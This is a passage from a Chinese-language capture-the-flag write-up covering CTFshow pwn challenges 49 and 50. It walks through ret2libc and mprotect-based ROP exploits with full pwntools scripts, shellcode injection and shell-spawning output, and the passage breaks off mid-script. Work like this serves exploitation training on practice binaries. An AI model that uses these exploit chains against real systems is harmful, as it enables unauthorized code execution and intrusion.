class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">main=elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">puts_got=elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt=elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">payload=cyclic(<span class="number">0x6b</span>+<span class="number">4</span>)+p32(puts_plt)+p32(main)+p32(puts_got)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;O.o?&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">puts=u32(io.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:])</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-database/db/libc6_2.39-0ubuntu8.4_i386.so&#x27;</span>)  </span><br><span class="line">libc_base = puts - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"><span class="comment">#libc=LibcSearcher(&#x27;puts&#x27;,puts)</span></span><br><span class="line"><span class="comment">#libc_base=puts-libc.dump(&#x27;puts&#x27;)</span></span><br><span class="line"><span class="comment">#system=libc_base+libc.dump(&#x27;system&#x27;)</span></span><br><span class="line"><span class="comment">#bin_sh=lib_base+libc.dump(&#x27;str_bin_sh&#x27;)</span></span><br><span class="line"></span><br><span class="line">payload=cyclic(<span class="number">0x6b</span>+<span class="number">4</span>)+p32(system)+p32(main)+p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 401</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">0xf7df2140</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn49"><a href="#pwn49" class="headerlink" title="pwn49"></a>pwn49</h2><p>Hint：静态编译？或许你可以找找mprotect函数</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ file pwn &amp;&amp; checksec pwn</span><br><span class="line">pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, <span class="keyword">for</span> GNU/Linux 3.2.0, BuildID[sha1]=db1e246fe40dca2886c2fe54a05b53299506f3fc, not stripped</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      Canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>statically linked可以看到是静态编译的，32位程序，仅关闭PIE（这里等下大家会发现有一个问题）</p><p>还是在这里先给大家解答一下这个疑问吧，这里检测到开启了栈保护，但是简单测试后发现并没有开启这个保护</p><p>但是这里为什么checksec的时候开启了保护呢？</p><p>原因在这，由于这是较老版本的checksec，它应该是检测到有这个函数就算打开了栈保护</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn _stack_chk_fail_local()</span><br><span class="line">&#123;</span><br><span class="line">  _fortify_fail_abort(<span class="number">0</span>, <span class="string">&quot;stack smashing detected&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在新版本的checksec中并不会出现此问题：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec --file=./pwn</span><br><span class="line">RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATHSymbolsFORTIFYFortifiedFortifiableFILE</span><br><span class="line">Partial RELRO   No Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   2148 Symbols  No00./pwn</span><br></pre></td></tr></table></figure><p>这里的话看个人习惯，如果喜欢新版本的话可以自行去安装一个新版本的。</p><p>因此这里的话并没有开启栈保护。</p><p>IDA查看一下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init_0();</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>值得注意的是函数非常的多，从这我们也能看出来是静态编译</p><p>查找一下mprotect函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">nsigned <span class="type">int</span> __cdecl <span class="title function_">mprotect</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *addy, <span class="type">size_t</span> len, <span class="type">int</span> flags)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  result = sys_mprotect(addy, len, flags);</span><br><span class="line">  <span class="keyword">if</span> ( result &gt;= <span class="number">0xFFFFF001</span> )</span><br><span class="line">    <span class="keyword">return</span> _syscall_error();</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>确实有，那么它的作用是什么呢？</p><p>它的作用是能够修改内存的权限为可读可写可执行，然后我们就可以往栈上写入shellcode，执行</p><p>获取shell</p><table><thead><tr><th><strong>int mprotect(const void *start, size_t len, int prot);</strong></th></tr></thead><tbody><tr><td>第一个参数填的是一个地址，是指需要进行操作的地址。</td></tr><tr><td>第二个参数是地址往后多大的长度。</td></tr><tr><td>第三个参数的是要赋予的权限。</td></tr><tr><td>mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。</td></tr></tbody></table><p>prot可以取以下几个值，并且可以用“|”将几个属性合起来使用：</p><p>1）PROT_READ：表示内存段内的内容可写；</p><p>2）PROT_WRITE：表示内存段内的内容可读；</p><p>3）PROT_EXEC：表示内存段中的内容可执行；</p><p>4）PROT_NONE：表示内存段中的内容根本没法访问。</p><p>5） <strong>prot&#x3D;7</strong> <strong>是可读可写可执行</strong></p><p>指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译，所以地址是不会变的。</p><p>指定的内存区间必须包含整个内存页（4K）。区间开始的地址start必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译，所以地址是不会变的。 那么就</p><p>可以开始我们的操作了： 首先造成溢出，让程序跳转到mprotect函数地址，去执行：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">payload = cyclic(0x12+4) + p32(mprotect)</span><br></pre></td></tr></table></figure><p>Choose segment to jump(shift+F7),调出程序的段表，将0x80DA000地址开始修改为可读可写可执行</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.got.plt080DA000080DA044RW..Ldword0013publicDATA32FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0014FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF</span><br><span class="line">.bss080DB320080DBFFCRW..Lalign_320019publicBSS32FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0014FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF</span><br></pre></td></tr></table></figure><p>为什么是0x80DA000而不是bss段的开头0x80DB320，因为指定的内存区间必须包含整个内存页（4K）,起始地址 start 必须是一个内存页的起始地址，并且区间长度 len 必须是页大小的整数倍。</p><p>使用ROPgadget找到我们需要的ret指令，我们mprotect函数需要设置3个参数，这边就找到3个寄存器就行</p><p>由于是静态编译，这里的gadget非常多，因此我们需要更加精准的命令来帮助我们找到我们需要gadget,这里可以在后面用管道添加参数筛选一下： | grep pop</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary pwn --only <span class="string">&quot;pop|ret&quot;</span>|grep pop</span><br><span class="line">...</span><br><span class="line">0x080a019b : pop ebx ; pop esi ; pop ebp ; ret</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>然后来设置mprotect的参数，将返回地址填上read函数，我们接下来要将shellcode读入程序段，需要继续控制程序</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)</span><br><span class="line">payload += p32(read_addr)</span><br></pre></td></tr></table></figure><p>read函数原型:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> <span class="title function_">read</span><span class="params">(<span class="type">int</span> fd, <span class="type">void</span> *buf, <span class="type">size_t</span> count)</span>; </span><br></pre></td></tr></table></figure><p>fd 设为0时就可以从输入端读取内容 设为0</p><p>buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000</p><p>size 适当大小就可以 只要够读入shellcode就可以，设置大点无所谓</p><p>可以看到read函数也有三个参数要设置，我们就可以继续借用上面找到的有3个寄存器的ret指令</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload +=p32(pop_ebx_esi_ebp_ret)+p32(<span class="number">0</span>)+p32(M_addr)+p32(M_size)+p32(M_addr)</span><br></pre></td></tr></table></figure><p>到这里我们已经完成了修改内存为可读可写可执行，将程序重定向到了我们修改好后的内存地址，</p><p>接下来我们只要传入shellcode即可</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28185)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">mprotect = elf.sym[<span class="string">&#x27;mprotect&#x27;</span>]</span><br><span class="line">read_addr = elf.sym[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">pop_ebx_esi_ebp_ret = <span class="number">0x80a019b</span> </span><br><span class="line">M_addr = <span class="number">0x80DA000</span></span><br><span class="line">M_size = <span class="number">0x1000</span>  <span class="comment">#0x80DA000 % 0x1000 == 0</span></span><br><span class="line">M_proc = <span class="number">0x7</span> <span class="comment">#可读可写可执行</span></span><br><span class="line">payload = cyclic(<span class="number">0x12</span>+<span class="number">4</span>) + p32(mprotect)</span><br><span class="line">payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size)+p32(M_proc)</span><br><span class="line">payload += p32(read_addr)</span><br><span class="line">payload +=p32(pop_ebx_esi_ebp_ret)+p32(<span class="number">0</span>)+p32(M_addr)+p32(M_size)+p32(M_addr)</span><br><span class="line"><span class="comment">#payload += p32(read_addr)  # 调用read函数</span></span><br><span class="line"><span class="comment">#payload += p32(pop_ebx_esi_ebp_ret)  # 用于设置read的参数</span></span><br><span class="line"><span class="comment">#payload += p32(0)  # fd = 0（标准输入）</span></span><br><span class="line"><span class="comment">#payload += p32(M_addr)  # buf = 0x80DA000（可执行内存区域）</span></span><br><span class="line"><span class="comment">#payload += p32(M_size)  # count = 0x1000（读取4096字节）</span></span><br><span class="line"><span class="comment">#payload += p32(M_addr)  # read执行后跳转到此地址（即shellcode起始地址）</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 420</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn50"><a href="#pwn50" class="headerlink" title="pwn50"></a>pwn50</h2><p>Hint：好像哪里不一样了，远程libc环境 Ubuntu 18</p><p>可以继续使用ret2libc来完成这题，会更简单</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">puts_plt=elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got=elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">main=elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">pop_rdi=<span class="number">0x4007e3</span></span><br><span class="line">ret=<span class="number">0x4004fe</span>  <span class="comment">#注意是Ubuntu 18，有栈对齐问题</span></span><br><span class="line">payload=cyclic(<span class="number">0x20</span>+<span class="number">8</span>)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">puts=u64(io.recvuntil(<span class="string">b&quot;\x7f&quot;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so&#x27;</span>)  </span><br><span class="line">libc_base = puts - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh&#x27;</span>))</span><br><span class="line"><span class="comment">#libc=LibcSearcher(&#x27;puts&#x27;,puts)</span></span><br><span class="line"><span class="comment">#libc_base=puts-libc.dump(&#x27;puts&#x27;)</span></span><br><span class="line"><span class="comment">#system=libc_base+libc.dump(&#x27;system&#x27;)</span></span><br><span class="line"><span class="comment">#bin_sh=libc_base+libc.dump(&#x27;str_bin_sh&#x27;)</span></span><br><span class="line">payload=cyclic(<span class="number">0x20</span>+<span class="number">8</span>)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 549</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">0x7ffff7e27be0</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    FORTIFY:    Enabled</span><br><span class="line">    SHSTK:      Enabled</span><br><span class="line">    IBT:        Enabled</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag pwn</span><br></pre></td></tr></table></figure><p>目的是进一步学习mprotect函数</p><p>主要流程如下：</p><ol><li>泄漏内存地址,通过计算得到libc地址</li><li>通过mprotect函数来修改一段区域的权限</li><li>向这段区域写入shellcode</li><li>跳转到写入shellcode的区域</li></ol><p>显然，这样对做这题来讲可能会更加繁琐，但是跟着一步步调试后，会对mprotect这个函数有更加深刻的认识了。</p><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位开启NX，部分开启RELRO</p><p>首先第一步：泄漏内存地址,通过计算得到libc地址</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28127)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">pop_rdi_ret = <span class="number">0x4007e3</span> <span class="comment"># 0x00000000004007e3 : pop rdi ; ret</span></span><br><span class="line">ctfshow = elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">bss_page_addr = <span class="number">0x601000</span> </span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">shellcode_addr = <span class="number">0x602000</span> - <span class="number">100</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(ctfshow))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(bss_page_addr))</span><br><span class="line"><span class="comment">######### step1 : leak_libc</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(elf.got[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(elf.plt[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(ctfshow)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvline()</span><br><span class="line">leak_addr = u64((io.recvline().split(<span class="string">b&quot;\x0a&quot;</span>)[<span class="number">0</span>]).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">libc.address = leak_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">success(<span class="string">&quot;libc_base = 0x%x&quot;</span>,libc.address)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[+] libc_base = 0x7ffff7dcd0000</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Hello CTFshow</span><br><span class="line">$</span><br></pre></td></tr></table></figure><p>第二步：通过mprotect函数来修改bss的权限为rwx:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> * </span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#context.terminal = [&#x27;bash&#x27;, &#x27;-c&#x27;] #当前窗口</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;new-window&#x27;</span>]</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">pop_rdi_ret = <span class="number">0x04007e3</span> <span class="comment"># 0x00000000004007e3 : pop rdi ; ret</span></span><br><span class="line">ctfshow = elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">bss_page_addr = <span class="number">0x601000</span></span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">shellcode_addr = <span class="number">0x602000</span> - <span class="number">100</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(ctfshow))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(bss_page_addr))</span><br><span class="line"><span class="comment">######### step1 : leak_libc</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(elf.got[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(elf.plt[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(ctfshow)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvline()</span><br><span class="line">leak_addr = u64((io.recvline().split(<span class="string">b&quot;\x0a&quot;</span>)[<span class="number">0</span>]).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">libc.address = leak_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">success(<span class="string">&quot;libc_base = 0x%x&quot;</span>,libc.address)</span><br><span class="line"><span class="comment"># ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep &quot;: pop rsi ; ret&quot;</span></span><br><span class="line">pop_rsi_ret = libc.address + <span class="number">0x2601f</span></span><br><span class="line"><span class="comment"># ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep &quot;: pop rdx ;ret &quot;</span></span><br><span class="line">pop_rdx_ret = libc.address + <span class="number">0x142c92</span></span><br><span class="line"><span class="comment">######### step2 : mprotect_bss_to_rwx</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(bss_page_addr)</span><br><span class="line">payload+= p64(pop_rsi_ret)</span><br><span class="line">payload+= p64(<span class="number">0x1000</span>)</span><br><span class="line">payload+= p64(pop_rdx_ret)</span><br><span class="line">payload+= p64(<span class="number">0x7</span>)</span><br><span class="line">payload+= p64(libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])</span><br><span class="line">payload+= p64(main)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">gdb.attach(io)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>修改前：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA</span><br><span class="line">             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)</span><br><span class="line">          0x400000           0x401000 r-xp     1000       0 pwn</span><br><span class="line">          0x601000           0x602000 r--p     1000    1000 pwn</span><br><span class="line">          0x602000           0x603000 rw-p     1000    2000 pwn</span><br><span class="line">   ...</span><br></pre></td></tr></table></figure><p>修改后：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA</span><br><span class="line">             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)</span><br><span class="line">          0x400000           0x401000 r-xp     1000       0 pwn</span><br><span class="line">          0x601000           0x602000 rwxp     1000    1000 pwn</span><br><span class="line">          0x602000           0x603000 rw-p     1000    2000 pwn</span><br><span class="line">   ...</span><br><span class="line">    </span><br></pre></td></tr></table></figure><p>第三步：向bss段中写入shellcode:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;new-window&#x27;</span>]</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28127)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">pop_rdi_ret = <span class="number">0x4007e3</span> <span class="comment"># 0x00000000004007e3 : pop rdi ; ret</span></span><br><span class="line">ctfshow = elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">bss_page_addr = <span class="number">0x601000</span></span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">shellcode_addr = <span class="number">0x602000</span> - <span class="number">100</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(ctfshow))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(bss_page_addr))</span><br><span class="line"><span class="comment">######### step1 : leak_libc</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(elf.got[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(elf.plt[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(ctfshow)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvline()</span><br><span class="line">leak_addr = u64((io.recvline().split(<span class="string">b&quot;\x0a&quot;</span>)[<span class="number">0</span>]).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">libc.address = leak_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">success(<span class="string">&quot;libc_base = 0x%x&quot;</span>,libc.address)</span><br><span class="line"><span class="comment"># ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep &quot;: pop rsi ; ret&quot;</span></span><br><span class="line">pop_rsi_ret = libc.address + <span class="number">0x2601f</span></span><br><span class="line"><span class="comment"># ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep &quot;: pop rdx ;ret &quot;</span></span><br><span class="line">pop_rdx_ret = libc.address + <span class="number">0x142c92</span></span><br><span class="line"><span class="comment">######### step2 : mprotect_bss_to_rwx</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(bss_page_addr)</span><br><span class="line">payload+= p64(pop_rsi_ret)</span><br><span class="line">payload+= p64(<span class="number">0x1000</span>)</span><br><span class="line">payload+= p64(pop_rdx_ret)</span><br><span class="line">payload+= p64(<span class="number">0x7</span>)</span><br><span class="line">payload+= p64(libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])</span><br><span class="line">payload+= p64(main)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span 